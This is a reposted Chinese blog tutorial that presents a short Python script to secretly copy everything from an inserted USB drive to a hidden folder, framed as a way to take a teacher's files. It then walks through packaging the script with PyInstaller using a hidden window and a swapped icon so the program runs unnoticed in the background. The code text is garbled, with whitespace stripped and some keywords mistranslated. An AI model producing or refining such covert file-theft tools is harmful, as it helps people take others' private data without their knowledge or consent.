当前位置: 首页 > 科技观察

用几行python代码偷偷拷贝U盘文件

时间:2023-03-22 15:22:32 科技观察

前言上大学的时候有一张PPT老师不给上课,所以一直想要一个可以偷偷拷贝老师U盘文件的程序磁盘。...它从未被实现。Code#-*-coding:utf-8-*-importosimporttimefromdatetimeimportdatetimeimportshutil#U盘盘符usb_path="E:/"#复制路径save_path="D:/haha"while(真):如果os.path.exists(usb_path):shutil.copytree(usb_path,os.path.join(save_path,datetime.now().strftime("%Y%m%d_%H%M%S")))breakelse:time.sleep(10)以上就是全部代码,代码中有两处需要改成自己的路径,我在代码中注释了。usb_path是U盘的盘符。比如你的电脑有C盘和D盘,那么U盘插上后的路径就是E盘。save_path是您要保存复制文件的位置。将Python文件打包成exe1。使用pip在命令行上安装pyinstaller包。Number(bittedness)32位的python3.6,需要下载[pywin32-223.win32-py3.6.exe]Python3.6.3,在命令行输入python查看python版本和位数如下图。..[MSCv.190032bit(Intel)]在win32下显示为64位python3.6,需要下载[pywin32-223.win-amd64-py3.6.exe]Python3.6.3。..[MSCv.190064位(AMD64)]在win323上。直接在pyinstaller的命令行输入如下命令[opts]yourprogram.py参数含义-F指定打包后只生成一个exe格式的文件(建议写这个参数)。-D--onedir创建包含exe文件的目录,但将依赖于许多文件(默认选项)。-c--console,--nowindowed使用控制台,没有窗口(默认)。-w--windowed,--noconsole使用窗口,没有控制台。-p添加搜索路径,让它找到对应的库。-i改变生成程序的icon图标(比如给女朋友写的程序,换成好看的图标,默认是丑的)。例子:比如你有一个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件。pyinstaller-FD:\project\test.py条件同上,如果你还想在没有控制台黑框的进程中偷偷运行。pyinstaller-F-wD:\project\test.py条件同上,如果要更改程序图标。pyinstaller-F-w-iD:\project\test.icoD:\project\test.py运行程序最后双击打开生成的exe文件,看不到界面,但是可以在任务管理器的后台进程中找到,当插入U盘时,会自动复制到你设置的地址,然后进程会自动关闭。*免责声明:本文整理于网络,版权归原作者所有。如来源信息有误或侵犯权益,请联系我们删除或授权。